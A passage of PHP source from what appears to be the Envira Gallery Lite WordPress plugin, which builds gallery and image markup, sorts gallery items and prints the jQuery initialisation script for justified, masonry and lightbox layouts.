$this->gallery_data ) ); } // Load gallery init code in the footer. add_action( 'wp_footer', [ $this, 'gallery_init' ], 1000 ); // Run a hook before the gallery output begins but after scripts and inits have been set. do_action( 'envira_gallery_before_output', $this->gallery_data ); // Apply a filter before starting the gallery HTML. $gallery = apply_filters( 'envira_gallery_output_start', $gallery, $this->gallery_data ); // Build out the gallery HTML. $gallery .= '<div id="envira-gallery-wrap-' . sanitize_html_class( $this->gallery_data['id'] ) . '" class="' . $this->get_gallery_classes( $this->gallery_data ) . '" itemscope itemtype="https://schema.org/ImageGallery">'; $gallery = apply_filters( 'envira_gallery_output_before_container', $gallery, $this->gallery_data ); // Description. if ( isset( $this->gallery_data['config']['description_position'] ) && 'above' === $this->gallery_data['config']['description_position'] ) { $gallery = $this->description( $gallery, $this->gallery_data ); } $opacity_insert = false; if ( $this->get_config( 'columns', $this->gallery_data ) === 0 ) { $opacity_insert = ' style="opacity: 0.0" '; } // add justified CSS? $extra_css = 'envira-gallery-justified-public'; $row_height = false; $justified_gallery_theme = false; if ( $this->get_config( 'columns', $this->gallery_data ) > 0 ) { $extra_css = false; } else { $row_height = $this->get_config( 'justified_row_height', $this->gallery_data ); $justified_gallery_theme = $this->get_config( 'justified_gallery_theme', $this->gallery_data ); } $gallery .= '<div' . $opacity_insert . ' data-row-height="' . $row_height . '" data-gallery-theme="' . $justified_gallery_theme . '" id="envira-gallery-' . sanitize_html_class( $this->gallery_data['id'] ) . '" class="envira-gallery-public ' . $extra_css . ' envira-gallery-' . sanitize_html_class( $this->get_config( 'columns', $this->gallery_data ) ) . '-columns envira-clear' . ( $this->get_config( 'isotope', $this->gallery_data ) ? ' enviratope' : '' ) . ( $this->get_config( 'css_animations', $this->gallery_data ) ? ' envira-gallery-css-animations' : '' ) . '" data-envira-columns="' . $this->get_config( 'columns', $this->gallery_data ) . '">'; // Start image loop. foreach ( $data['gallery'] as $id => $item ) { // Add the gallery item to the markup. $gallery = $this->generate_gallery_item_markup( $gallery, $this->gallery_data, $item, $id, $i ); // Increment the iterator. ++$i; } // End image loop. $gallery .= '</div>'; // Description. if ( isset( $this->gallery_data['config']['description_position'] ) && 'below' === $this->gallery_data['config']['description_position'] ) { $gallery = $this->description( $gallery, $this->gallery_data ); } $gallery = apply_filters( 'envira_gallery_output_after_container', $gallery, $this->gallery_data ); $gallery .= '</div>'; $gallery = apply_filters( 'envira_gallery_output_end', $gallery, $this->gallery_data ); // Increment the counter. ++$this->counter; // Remove any contextual filters so they don't affect other galleries on the page. if ( $this->get_config( 'mobile', $this->gallery_data ) ) { remove_filter( 'envira_gallery_output_image_attr', [ $this, 'mobile_image' ], 999, 4 ); } // Add no JS fallback support. $no_js = '<noscript>'; $no_js .= $this->get_indexable_images( $this->gallery_data['id'] ); $no_js .= '</noscript>'; $gallery .= $no_js; // Return the gallery HTML. return apply_filters( 'envira_gallery_output', $gallery, $this->gallery_data ); } /** * Outputs an individual gallery item in the grid * * @since 1.4.2.1 * * @param string $gallery Gallery HTML. * @param array $data Gallery Config. * @param array $item Gallery Item (Image). * @param int $id Gallery Image ID. * @param int $i Index. * @return string Gallery HTML. */ public function generate_gallery_item_markup( $gallery, $data, $item, $id, $i ) { // Get some config values that we'll reuse for each image. $padding = absint( round( $this->get_config( 'gutter', $data ) / 2 ) ); $html5_attribute = ( ( $this->get_config( 'html5', $data ) === '1' ) ? 'data-envirabox-group' : 'rel' ); $thumbnail_start_url = get_bloginfo( 'url' ) . '/' . get_bloginfo( 'url' ); // Skip over images that are pending (ignore if in Preview mode). if ( isset( $item['status'] ) && 'pending' === $item['status'] && ! is_preview() ) { return $gallery; } $item = apply_filters( 'envira_gallery_output_item_data', $item, $id, $data, $i ); // Get image and image retina URLs // These calls will generate thumbnails as necessary for us. $imagesrc = $this->get_image_src( $id, $item, $data ); $image_src_retina = apply_filters( 'envira_gallery_output_item_src_retina', $this->get_image_src( $id, $item, $data, false, true ), $item, $id, $data, $i, $this->is_mobile ); $placeholder = wp_get_attachment_image_src( $id, 'medium' ); // $placeholder is null because $id is 0 for instagram? // Filter output before starting this gallery item. $gallery = apply_filters( 'envira_gallery_output_before_item', $gallery, $id, $item, $data, $i ); // Maybe change the item's link if it is an image and we have an image size defined for the Lightbox. $item = $this->maybe_change_link( $id, $item, $data ); // Non-ASCII filenames fail when FILTER_VALIDATE_URL is applied to them when saving a gallery to generate thumbs. // This resulted in the blog URL being prepended to the URL, therefore breaking the thumbnail URL. // This reverts that change for the few edge cases where this happened. if ( ! empty( $item['thumb'] ) && strpos( $item['thumb'], $thumbnail_start_url ) !== false ) { $item['thumb'] = str_replace( $thumbnail_start_url, get_bloginfo( 'url' ) . '/', $item['thumb'] ); } elseif ( ! isset( $item['thumb'] ) ) { // this must be at least defined. $item['thumb'] = false; } $output = '<div id="envira-gallery-item-' . sanitize_html_class( $id ) . '" class="' . $this->get_gallery_item_classes( $item, $i, $data ) . '" style="padding-left: ' . $padding . 'px; padding-bottom: ' . $this->get_config( 'margin', $data ) . 'px; padding-right: ' . $padding . 'px;" ' . apply_filters( 'envira_gallery_output_item_attr', '', $id, $item, $data, $i ) . ' itemscope itemtype="https://schema.org/ImageObject">'; $output .= '<div class="envira-gallery-item-inner">'; $output = apply_filters( 'envira_gallery_output_before_link', $output, $id, $item, $data, $i ); // Top Left box. $css_class = false; // no css classes yet. $css_class = apply_filters( 'envira_gallery_output_dynamic_position_css', $css_class, $output, $id, $item, $data, $i, 'top-left' ); $output .= '<div class="envira-gallery-position-overlay ' . $css_class . ' envira-gallery-top-left">'; $output = apply_filters( 'envira_gallery_output_dynamic_position', $output, $id, $item, $data, $i, 'top-left' ); $output .= '</div>'; // Top Right box. $css_class = false; // no css classes yet. $css_class = apply_filters( 'envira_gallery_output_dynamic_position_css', $css_class, $output, $id, $item, $data, $i, 'top-right' ); $output .= '<div class="envira-gallery-position-overlay ' . $css_class . ' envira-gallery-top-right">'; $output = apply_filters( 'envira_gallery_output_dynamic_position', $output, $id, $item, $data, $i, 'top-right' ); $output .= '</div>'; // Bottom Left box. $css_class = false; // no css classes yet. $css_class = apply_filters( 'envira_gallery_output_dynamic_position_css', $css_class, $output, $id, $item, $data, $i, 'bottom-left' ); $output .= '<div class="envira-gallery-position-overlay ' . $css_class . ' envira-gallery-bottom-left">'; $output = apply_filters( 'envira_gallery_output_dynamic_position', $output, $id, $item, $data, $i, 'bottom-left' ); $output .= '</div>'; // Bottom Right box. $css_class = false; // no css classes yet. $css_class = apply_filters( 'envira_gallery_output_dynamic_position_css', $css_class, $output, $id, $item, $data, $i, 'bottom-right' ); $output .= '<div class="envira-gallery-position-overlay ' . $css_class . ' envira-gallery-bottom-right">'; $output = apply_filters( 'envira_gallery_output_dynamic_position', $output, $id, $item, $data, $i, 'bottom-right' ); $output .= '</div>'; $title = esc_html( wp_strip_all_tags( htmlspecialchars( $item['title'], ENT_QUOTES, 'UTF-8' ) ) ); $title = htmlentities( $title, ENT_QUOTES, 'UTF-8' ); // Caption. // Lite doesn't support captions, so we fallback to the title. $caption = $title; // Determine if we create a link. // If the user has disabled lightbox, there should not be a link. // "Turn off the lightbox then the image shouldn't be clicked". $create_link = ! empty( $item['link'] ) && ( ( $this->get_config( 'gallery_link_enabled', $data ) || $this->get_config( 'lightbox_enabled', $data ) ) ) ? true : false; // Filter the ability to create a link. $create_link = apply_filters( 'envira_gallery_create_link', $create_link, $data, $id, $item, $i, $this->is_mobile ); if ( $create_link ) { $output .= '<a href="' . esc_url( $item['link'] ) . '" class="' . ( ( isset( $item['link_new_window'] ) && true === boolval( $item['link_new_window'] ) ) ? '' : 'envira-gallery-' . sanitize_html_class( $data['id'] ) . ' ' ) . 'envira-gallery-link" ' . $html5_attribute . '="enviragallery' . sanitize_html_class( $data['id'] ) . '" title="' . $title . '" data-envira-caption="' . $caption . '" data-envira-retina="' . ( isset( $item['lightbox_retina_image'] ) ? $item['lightbox_retina_image'] : '' ) . '" data-thumbnail="' . esc_url( $item['thumb'] ) . '"' . ( ( isset( $item['link_new_window'] ) && true === boolval( $item['link_new_window'] ) ) ? ' target="_blank"' : '' ) . ' ' . apply_filters( 'envira_gallery_output_link_attr', '', $id, $item, $data, $i ) . ' itemprop="contentUrl">'; } $output = apply_filters( 'envira_gallery_output_before_image', $output, $id, $item, $data, $i ); $gallery_theme = intval( $this->get_config( 'columns', $data ) ) === 0 ? ' envira-' . $this->get_config( 'justified_gallery_theme', $data ) : ''; // Build the image and allow filtering. // How we build the html depends on the lazy load script. // Check if user has lazy loading on - if so, we add the css class. $envira_lazy_load = intval( $this->get_config( 'lazy_loading', $data ) ) === 1 ? 'envira-lazy' : ''; // Determine/confirm the width/height of the image. // $placeholder should hold it but not for instagram. if ( 'mobile' === $this->is_mobile && ! $this->get_config( 'mobile', $data ) ) { // if the user is viewing on mobile AND user unchecked 'Create Mobile Gallery Images?' in mobile tab. $output_src = $item['src']; } elseif ( $this->get_config( 'crop', $data ) ) { // the user has selected the image to be cropped. $output_src = $imagesrc; } elseif ( $this->get_config( 'image_size', $data ) && $imagesrc ) { // use the image being provided thanks to the user selecting a unique image size. $output_src = $imagesrc; } elseif ( ! empty( $item['width'] ) ) { $output_src = $item['src']; } elseif ( ! empty( $placeholder[0] ) ) { $output_src = $placeholder[0]; } else { $output_src = false; } if ( $this->get_config( 'crop', $data ) && $this->get_config( 'crop_width', $data ) && $this->get_config( 'image_size', $data ) !== 'full' ) { $output_width = $this->get_config( 'crop_width', $data ); } elseif ( intval( $this->get_config( 'columns', $data ) ) !== 0 && $this->get_config( 'image_size', $data ) && $this->get_config( 'image_size', $data ) !== 'full' && $this->get_config( 'crop_width', $data ) && $this->get_config( 'crop_height', $data ) ) { $output_width = $this->get_config( 'crop_width', $data ); } elseif ( ! empty( $item['width'] ) ) { $output_width = $item['width']; } elseif ( ! empty( $placeholder[1] ) ) { $output_width = $placeholder[1]; } else { $output_width = false; } if ( $this->get_config( 'crop', $data ) && $this->get_config( 'crop_width', $data ) && $this->get_config( 'image_size', $data ) !== 'full' ) { $output_height = $this->get_config( 'crop_height', $data ); } elseif ( intval( $this->get_config( 'columns', $data ) ) !== 0 && $this->get_config( 'image_size', $data ) && $this->get_config( 'image_size', $data ) !== 'full' && $this->get_config( 'crop_width', $data ) && $this->get_config( 'crop_height', $data ) ) { $output_height = $this->get_config( 'crop_height', $data ); } elseif ( ! empty( $item['height'] ) ) { $output_height = $item['height']; } elseif ( ! empty( $placeholder[2] ) ) { $output_height = $placeholder[2]; } else { $output_height = false; } if ( intval( $this->get_config( 'columns', $data ) ) === 0 ) { // Automatic. $output_item = '<img id="envira-gallery-image-' . sanitize_html_class( $id ) . '" class="envira-gallery-image envira-gallery-image-' . $i . $gallery_theme . ' ' . $envira_lazy_load . '" data-envira-index="' . $i . '" src="' . esc_url( $output_src ) . '"' . ( $this->get_config( 'dimensions', $data ) ? ' width="' . $this->get_config( 'crop_width', $data ) . '" height="' . $this->get_config( 'crop_height', $data ) . '"' : '' ) . ' data-envira-src="' . esc_url( $output_src ) . '" data-envira-gallery-id="' . $data['id'] . '" data-envira-item-id="' . $id . '" data-envira-caption="' . $caption . '" alt="' . esc_attr( $item['alt'] ) . '" title="' . wp_strip_all_tags( htmlspecialchars( $item['title'] ) ) . '" ' . apply_filters( 'envira_gallery_output_image_attr', '', $id, $item, $data, $i ) . ' itemprop="thumbnailUrl" data-envira-srcset="' . esc_url( $output_src ) . ' 400w,' . esc_url( $output_src ) . ' 2x" data-envira-width="' . $output_width . '" data-envira-height="' . $output_height . '" srcset="' . ( ( $envira_lazy_load ) ? 'data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==' : esc_url( $image_src_retina ) . ' 2x' ) . '" data-safe-src="' . ( ( $envira_lazy_load ) ? 'data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==' : esc_url( $output_src ) ) . '" />'; } else { // Legacy. $output_item = false; if ( $envira_lazy_load ) { if ( $output_height > 0 && $output_width > 0 ) { $padding_bottom = ( $output_height / $output_width ) * 100; } else { // this shouldn't be happening, but this avoids a debug message. $padding_bottom = 100; } $output_item .= '<div class="envira-lazy" data-test-width="' . $output_width . '" data-test-height="' . $output_height . '" style="padding-bottom:' . $padding_bottom . '%;">'; } $output_item .= '<img id="envira-gallery-image-' . sanitize_html_class( $id ) . '" class="envira-gallery-image envira-gallery-image-' . $i . $gallery_theme . '" data-envira-index="' . $i . '" src="' . esc_url( $output_src ) . '"' . ( $this->get_config( 'dimensions', $data ) ? ' width="' . $this->get_config( 'crop_width', $data ) . '" height="' . $this->get_config( 'crop_height', $data ) . '"' : '' ) . ' data-envira-src="' . esc_url( $output_src ) . '" data-envira-gallery-id="' . $data['id'] . '" data-envira-item-id="' . $id . '" data-envira-caption="' . $caption . '" alt="' . esc_attr( $item['alt'] ) . '" title="' . wp_strip_all_tags( htmlspecialchars( $title ) ) . '" ' . apply_filters( 'envira_gallery_output_image_attr', '', $id, $item, $data, $i ) . ' itemprop="thumbnailUrl" data-envira-srcset="' . esc_url( $output_src ) . ' 400w,' . esc_url( $output_src ) . ' 2x" srcset="' . ( ( $envira_lazy_load ) ? 'data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==' : esc_url( $image_src_retina ) . ' 2x' ) . '" />'; if ( $envira_lazy_load ) { $output_item .= '</div>'; } } $output_item = apply_filters( 'envira_gallery_output_image', $output_item, $id, $item, $data, $i ); // Add image to output. $output .= $output_item; $output = apply_filters( 'envira_gallery_output_after_image', $output, $id, $item, $data, $i ); if ( $create_link ) { $output .= '</a>'; } $output = apply_filters( 'envira_gallery_output_after_link', $output, $id, $item, $data, $i ); $output .= '</div>'; $output .= '</div>'; $output = apply_filters( 'envira_gallery_output_single_item', $output, $id, $item, $data, $i ); // Append the image to the gallery output. $gallery .= $output; // Filter the output before returning. $gallery = apply_filters( 'envira_gallery_output_after_item', $gallery, $id, $item, $data, $i ); return $gallery; } /** * Adds a srcset attribute to an image if wp_get_attachment_image_srcset() exists in WordPress (4.4.+) * * This provides responsive compatibility and allows browsers to choose which image to download * * @since 1.4.0.3 * * @param string $atts Image Attributes. * @param int $id ID. * @param array $item Image. * @param array $data Gallery Config. * @param int $i Image Index. * @return string Image Attributes. */ public function add_image_srcset_attributes( $atts, $id, $item, $data, $i ) { // Check if wp_get_attachment_image_srcset() exists. if ( ! function_exists( 'wp_get_attachment_image_srcset' ) ) { return $atts; } // Check if item is a Media Library item. if ( ! is_numeric( $id ) ) { return $atts; } // Check if the gallery has cropping enabled. If so, don't apply srcset attribute, as it'll output. // images that don't conform to the user's requirements. if ( $this->get_config( 'crop', $data ) ) { return $atts; } // Iterate through WordPress' registered sizes to find the largest available size. // that doesn't exceed this Galleries image dimensions. $sizes = get_intermediate_image_sizes(); $max_width = 0; foreach ( $sizes as $size ) { // Get the width. $width = get_option( $size . '_size_w' ); // Check if the width is smaller or equal to the gallery image width option. if ( $width <= $this->get_config( 'crop_width', $data ) && $width > $max_width ) { // This size can be used in the srcset. $max_width = $width; $max_size = $size; } } // If no size meets our criteria, bail. if ( ! isset( $max_size ) ) { return $atts; } // Add the srcset and sizes based on $max_size. $atts .= ' srcset="' . wp_get_attachment_image_srcset( $id, $max_size ) . '"'; $atts .= ' sizes="' . wp_calculate_image_sizes( [ $this->get_config( 'crop_width', $data ), $this->get_config( 'crop_height', $data ) ], $item['src'] ) . '"'; // Return. return $atts; } /** * Add the 'property' tag to stylesheets enqueued in the body. * * @param string $tag Stylesheet Tag. * @since 1.4.1.1 */ public function add_stylesheet_property_attribute( $tag ) { // If the <link> stylesheet is any Envira-based stylesheet, add the property attribute. if ( strpos( $tag, "id='envira-" ) !== false ) { $tag = str_replace( '/>', 'property="stylesheet" />', $tag ); } return $tag; } /** * Maybe sort the gallery images, if specified in the config * * Note: To ensure backward compat with the previous 'random' config * key, the sorting parameter is still stored in the 'random' config * key. * * @since 1.3.8 * * @param array $data Gallery Config. * @param int $gallery_id Gallery ID. * @return array Gallery Config. */ public function maybe_sort_gallery( $data, $gallery_id ) { // Get sorting method. $sorting_method = (string) $this->get_config( 'random', $data ); $sorting_direction = $this->get_config( 'sorting_direction', $data ); // Sort images based on method. switch ( $sorting_method ) { /** * Random. * - Again, by design, to ensure backward compat when upgrading from 1.3.7.x or older. * where we had a 'random' key = 0 or 1. Sorting was introduced in 1.3.8. */ case '1': // Shuffle keys. $keys = array_keys( $data['gallery'] ); shuffle( $keys ); // Rebuild array in new order. $new = []; foreach ( $keys as $key ) { $new[ $key ] = $data['gallery'][ $key ]; } // Assign back to gallery. $data['gallery'] = $new; break; /** * Image Meta. */ case 'src': case 'title': case 'caption': case 'alt': case 'link': // Get metadata. $keys = []; foreach ( $data['gallery'] as $id => $item ) { $keys[ $id ] = wp_strip_all_tags( $item[ $sorting_method ] ); } // Sort titles / captions. if ( 'ASC' === $sorting_direction ) { asort( $keys ); } else { arsort( $keys ); } // Iterate through sorted items, rebuilding gallery. $new = []; foreach ( $keys as $key => $title ) { $new[ $key ] = $data['gallery'][ $key ]; } // Assign back to gallery. $data['gallery'] = $new; break; /** * Published Date. */ case 'date': // Get published date for each. $keys = []; foreach ( $data['gallery'] as $id => $item ) { // If the attachment isn't in the Media Library, we can't get a post date - assume now. $attachment = get_post( $id ); if ( ! is_numeric( $id ) || ( false === $attachment ) ) { $keys[ $id ] = gmdate( 'Y-m-d H:i:s' ); } else { $keys[ $id ] = $attachment->post_date; } } // Sort titles / captions. if ( 'ASC' === $sorting_direction ) { asort( $keys ); } else { arsort( $keys ); } // Iterate through sorted items, rebuilding gallery. $new = []; foreach ( $keys as $key => $title ) { $new[ $key ] = $data['gallery'][ $key ]; } // Assign back to gallery. $data['gallery'] = $new; break; /** * None. * - Do nothing. */ case '0': case '': break; /** * If developers have added their own sort options, let them run them here */ default: $data = apply_filters( 'envira_gallery_sort_gallery', $data, $sorting_method, $gallery_id ); break; } return $data; } /** * Builds HTML for the Gallery Description * * @since 1.3.0.2 * * @param string $gallery Gallery HTML. * @param array $data Data. * @return string Gallery HTML. */ public function description( $gallery, $data ) { $gallery .= '<div class="envira-gallery-description envira-gallery-description-above" style="padding-bottom: ' . $this->get_config( 'margin', $data ) . 'px;">'; $gallery = apply_filters( 'envira_gallery_output_before_description', $gallery, $data ); // Get description. $description = $data['config']['description']; // If the WP_Embed class is available, use that to parse the content using registered oEmbed providers. if ( isset( $GLOBALS['wp_embed'] ) ) { $description = $GLOBALS['wp_embed']->autoembed( $description ); } // Get the description and apply most of the filters that apply_filters( 'the_content' ) would use // We don't use apply_filters( 'the_content' ) as this would result in a nested loop and a failure. $description = wptexturize( $description ); $description = convert_smilies( $description ); $description = wpautop( $description ); $description = prepend_attachment( $description ); // Requires WordPress 4.4+. if ( function_exists( 'wp_make_content_images_responsive' ) ) { $description = wp_filter_content_tags( $description ); } // Append the description to the gallery output. $gallery .= $description; // Filter the gallery HTML. $gallery = apply_filters( 'envira_gallery_output_after_description', $gallery, $data ); $gallery .= '</div>'; return $gallery; } /** * Outputs the gallery init script in the footer. * * @since 1.0.0 */ public function gallery_init() { // envira_galleries stores all Fancybox instances. // envira_isotopes stores all Isotope instances. // envira_isotopes_config stores Isotope configs for each Gallery. ?> <script type="text/javascript"> <?php ob_start(); ?> var envira_galleries = [], envira_gallery_images = [], envira_isotopes = [], envira_isotopes_config = []; jQuery(document).ready(function($){ <?php do_action( 'envira_gallery_api_start_global' ); foreach ( $this->data as $data ) { // Prevent multiple init scripts for the same gallery ID. if ( in_array( $data['id'], $this->done, true ) ) { continue; } $this->done[] = $data['id']; do_action( 'envira_gallery_api_start', $data ); // Define container. ?> var envira_container_<?php echo intval( $data['id'] ); ?> = ''; function envira_album_lazy_load_image( $id ) { <?php if ( $this->get_config( 'lazy_loading', $data ) ) { ?> var responsivelyLazy = window.responsivelyLazy; responsivelyLazy.run('#envira-gallery-'+ $id); <?php } else { ?> /* to do: enable ENVIRA DEBUG to display this and other errors */ /* console.log ('load_images was pinged, but lazy load turned off'); */ <?php } ?> } <?php if ( intval( $this->get_config( 'columns', $data ) ) === 0 ) : ?> <?php // if the user has selected a custom theme, only output the needed JS. $gallery_theme = $this->get_config( 'justified_gallery_theme', $data ); // in some cases, previous gallery using the old automattic layout aren't showing a row height, so just in case... $justified_row_height = $this->get_config( 'justified_row_height', $data ) ? $this->get_config( 'justified_row_height', $data ) : 150; ?> $('#envira-gallery-<?php echo intval( $data['id'] ); ?>').enviraJustifiedGallery({ rowHeight : <?php echo esc_js( $justified_row_height ); ?>, maxRowHeight: -1, waitThumbnailsLoad: true, selector: '> div > div', lastRow: 'nojustify', border: 0, margins: <?php echo $this->get_config( 'justified_margins', $data ) ? intval( $this->get_config( 'justified_margins', $data ) ) : 1; ?>, }); $('#envira-gallery-<?php echo intval( $data['id'] ); ?>').justifiedGallery().on('jg.complete', function (e) { envira_album_lazy_load_image(<?php echo intval( $data['id'] ); ?>); $(window).scroll(function(event){ envira_album_lazy_load_image(<?php echo intval( $data['id'] ); ?>); }); }); $( document ).on( "envira_pagination_ajax_load_completed", function() { $('#envira-gallery-<?php echo intval( $data['id'] ); ?>').justifiedGallery().on('jg.complete', function (e) { envira_album_lazy_load_image(<?php echo intval( $data['id'] ); ?>); $(window).scroll(function(event){ envira_album_lazy_load_image(<?php echo intval( $data['id'] ); ?>); }); }); }); <?php if ( 'js-desaturate' === $gallery_theme || 'js-threshold' === $gallery_theme || 'js-blur' === $gallery_theme || 'js-vintage' === $gallery_theme ) : ?> $('#envira-gallery-<?php echo intval( $data['id'] ); ?>').on('jg.complete', function (e) { if( navigator.userAgent.match(/msie/i) || $.browser.msie || navigator.appVersion.indexOf('Trident/') > 0 ) { $('#envira-gallery-<?php echo intval( $data['id'] ); ?> img').each(function() { var keep_id = $(this).attr('id'); $(this).attr('id', keep_id + '-effects' ); $(this).wrap('<div class="effect-wrapper" style="display:inline-block;width:' + this.width + 'px;height:' + this.height + 'px;">').clone().addClass('gotcolors').css({'position': 'absolute', 'opacity' : 0, 'z-index' : 1 }).attr('id', keep_id).insertBefore(this); <?php switch ( $gallery_theme ) { case 'js-desaturate': echo 'this.src = jg_effect_desaturate($(this).attr("src"));'; break; case 'js-threshold': echo 'this.src = jg_effect_threshold(this.src);'; break; case 'js-blur': echo 'this.src = jg_effect_blur(this.src);'; break; case 'js-vintage': echo 'jg_effect_vintage( this );'; break; } ?> }); $('#envira-gallery-<?php echo intval( $data['id'] ); ?> img').hover( function() { $(this).stop().animate({opacity: 1}, 200); }, function() { $(this).stop().animate({opacity: 0}, 200); } ); } else { $('#envira-gallery-<?php echo intval( $data['id'] ); ?> img').hover( function() { $(this).removeClass('envira-<?php echo esc_attr( $gallery_theme ); ?>'); }, function() { $(this).addClass('envira-<?php echo esc_attr( $gallery_theme ); ?>'); } ); } }); <?php endif; ?> $('#envira-gallery-<?php echo intval( $data['id'] ); ?>').css('opacity', '1'); <?php endif; ?> <?php // Isotope: Start. if ( intval( $this->get_config( 'columns', $data ) ) > 0 && $this->get_config( 'isotope', $data ) ) { // Define config for this Isotope Gallery. ?> envira_isotopes_config['<?php echo intval( $data['id'] ); ?>'] = { <?php do_action( 'envira_gallery_api_enviratope_config', $data ); ?> itemSelector: '.envira-gallery-item', masonry: { columnWidth: '.envira-gallery-item' } }; <?php // Initialize Isotope. ?> envira_isotopes['<?php echo intval( $data['id'] ); ?>'] = envira_container_<?php echo intval( $data['id'] ); ?> = $('#envira-gallery-<?php echo intval( $data['id'] ); ?>').masonry(envira_isotopes_config['<?php echo intval( $data['id'] ); ?>']); $('#envira-gallery-<?php echo intval( $data['id'] ); ?>').on( 'layoutComplete', function( event, laidOutItems ) { envira_album_lazy_load_image(<?php echo intval( $data['id'] ); ?>); $(window).scroll(function(event){ envira_album_lazy_load_image(<?php echo intval( $data['id'] ); ?>); }); } ); $( document ).on( "envira_pagination_ajax_load_completed", function() { $('#envira-gallery-<?php echo intval( $data['id'] ); ?>').on( 'layoutComplete', function( event, laidOutItems ) { envira_album_lazy_load_image(<?php echo intval( $data['id'] ); ?>); $(window).scroll(function(event){ envira_album_lazy_load_image(<?php echo intval( $data['id'] ); ?>); }); } ); }); <?php // Re-layout Isotope when each image loads. ?> envira_isotopes['<?php echo intval( $data['id'] ); ?>'].enviraImagesLoaded() .done(function() { envira_isotopes['<?php echo intval( $data['id'] ); ?>'].masonry('layout'); }) .progress(function() { envira_isotopes['<?php echo intval( $data['id'] ); ?>'].masonry('layout'); }); <?php do_action( 'envira_gallery_api_enviratope', $data ); } // Isotope: End. // CSS Animations: Start. if ( $this->get_config( 'css_animations', $data ) ) { $opacity = $this->get_config( 'css_opacity', $data ); // Defaults Addon Gallery may not have been saved since opacity introduction, so force a value if one doesn't exist. if ( empty( $opacity ) ) { $opacity = 100; } // Reduce to factor of 1. $opacity = ( $opacity / 100 ); ?> envira_container_<?php echo intval( $data['id'] ); ?> = $('#envira-gallery-<?php echo intval( $data['id'] ); ?>').enviraImagesLoaded( function() { $('.envira-gallery-item img').fadeTo( 'slow', <?php echo intval( $opacity ); ?> ); }); <?php } // CSS Animations: End. // Fancybox: Start. if ( $this->get_config( 'lightbox_enabled', $data ) ) { // By default, we'll use the images in the Gallery DOM to populate the lightbox. // However, Addons (e.g. Pagination) may require us to give access to all images // in a Gallery, not just the paginated subset on screen. // Those Addons can populate this array now which will tell envirabox which images to use. $lightbox_images = apply_filters( 'envira_gallery_lightbox_images', false, $data ); $title_fb1 = apply_filters( 'envira_gallery_title_display', $this->get_config( 'title_display', $data ), $data ); if ( 'float_wrap' === $title_fb1 || 'float' === $title_fb1 ) { $title_fb1 = 'float'; } ?> envira_gallery_options = { // All of these options are for Envira Lite with Fancybox 1 to try and match Fancybox 2. padding: <?php echo in_array( $this->get_config( 'lightbox_theme', $data ), [ 'base_dark' ], true ) ? '4' : '15'; ?>, cyclic: true, titlePosition: '<?php echo esc_js( $title_fb1 ); ?>', // End options for Envira Lite with Fancybox 1. <?php do_action( 'envira_gallery_api_config', $data ); // Depreciated. ?> <?php do_action( 'envira_gallery_api_envirabox_config', $data ); ?> <?php if ( ! $this->get_config( 'keyboard', $data ) ) : ?> keys: 0, <?php endif; ?> margin: <?php echo intval( apply_filters( 'envirabox_margin', 60, $data ) ); ?>, arrows: <?php echo in_array( $this->get_config( 'lightbox_theme', $data ), [ 'base_dark' ], true ) ? 'true' : esc_attr( $this->get_config( 'arrows', $data ) ); ?>, aspectRatio: <?php echo esc_js( apply_filters( 'envirabox_aspect', $this->get_config( 'aspect', $data ), $data ) ); ?>, loop: <?php echo esc_js( apply_filters( 'envirabox_loop', $this->get_config( 'loop', $data ), $data ) ); ?>, mouseWheel: <?php echo esc_js( apply_filters( 'mousewheel', $this->get_config( 'mousewheel', $data ), $data ) ); ?>, preload: 1, <?php /* Get open and transition effects */ $lightbox_open_close_effect = apply_filters( 'lightbox_open_close_effect', $this->get_config( 'lightbox_open_close_effect', $data ), $data ); $lightbox_transition_effect = apply_filters( 'effect', $this->get_config( 'effect', $data ), $data ); /* Get standard effects */ $lightbox_standard_effects = $this->common->get_transition_effects_values(); /* If open/close is standard, use openEffect, closeEffect */ if ( in_array( $lightbox_open_close_effect, $lightbox_standard_effects, true ) ) { ?> openEffect: '<?php echo esc_attr( $lightbox_open_close_effect ); ?>', closeEffect: '<?php echo esc_attr( $lightbox_open_close_effect ); ?>', <?php } else { // easing effects have been depreciated, and will default back to 'swing'. ?> openEffect: 'elastic', // FancyBox default is fade, should be elastic for the openEffect/closeEffect functions closeEffect: 'elastic', openEasing: 'swing', // <?php echo ( 'Swing' === $lightbox_open_close_effect ? 'swing' : 'easeIn' ); ?>', closeEasing: 'swing', // <?php echo ( 'Swing' === $lightbox_open_close_effect ? 'swing' : 'easeOut' ); ?>', openSpeed: <?php echo intval( apply_filters( 'envirabox_open_speed', 500, $data ) ); ?>, closeSpeed: <?php echo intval( apply_filters( 'envirabox_close_speed', 500, $data ) ); ?>, <?php } /* If transition effect is standard, use nextEffect, prevEffect */ if ( in_array( $lightbox_transition_effect, $lightbox_standard_effects, true ) ) { ?> nextEffect: '<?php echo esc_attr( $lightbox_transition_effect ); ?>', prevEffect: '<?php echo esc_attr( $lightbox_transition_effect ); ?>', <?php } else { // easing effects have been depreciated, and will default back to 'swing'. ?> nextEasing: 'swing', // '<?php echo ( 'Swing' === $lightbox_transition_effect ? 'swing' : 'easeIn' ); ?>', prevEasing: 'swing', // '<?php echo ( 'Swing' === $lightbox_transition_effect ? 'swing' : 'easeOut' ); ?>', nextSpeed: <?php echo intval( apply_filters( 'envirabox_next_speed', 600, $data ) ); ?>, prevSpeed: <?php echo intval( apply_filters( 'envirabox_prev_speed', 600, $data ) ); ?>, <?php } ?> tpl: { wrap : '<?php echo $this->get_lightbox_template( $data ); // @codingStandardsIgnoreLine - Markup escapped via function ?>', image : '<img class="envirabox-image" src="{href}" alt="" data-envira-title="" data-envira-caption="" data-envira-index="" data-envira-data="" />', iframe : '<iframe id="envirabox-frame{rnd}" name="envirabox-frame{rnd}" class="envirabox-iframe" frameborder="0" vspace="0" hspace="0" allowtransparency="true" wekitallowfullscreen mozallowfullscreen allowfullscreen></iframe>', error : '<p class="envirabox-error"><?php echo esc_attr__( 'The requested content cannot be loaded.<br/>Please try again later.</p>', 'envira-gallery-lite' ); ?>', closeBtn : '<a title="<?php echo esc_attr__( 'Close', 'envira-gallery-lite' ); ?>" class="envirabox-item envirabox-close" href="#"></a>', next : '<a title="<?php echo esc_attr__( 'Next', 'envira-gallery-lite' ); ?>" class="envirabox-nav envirabox-next 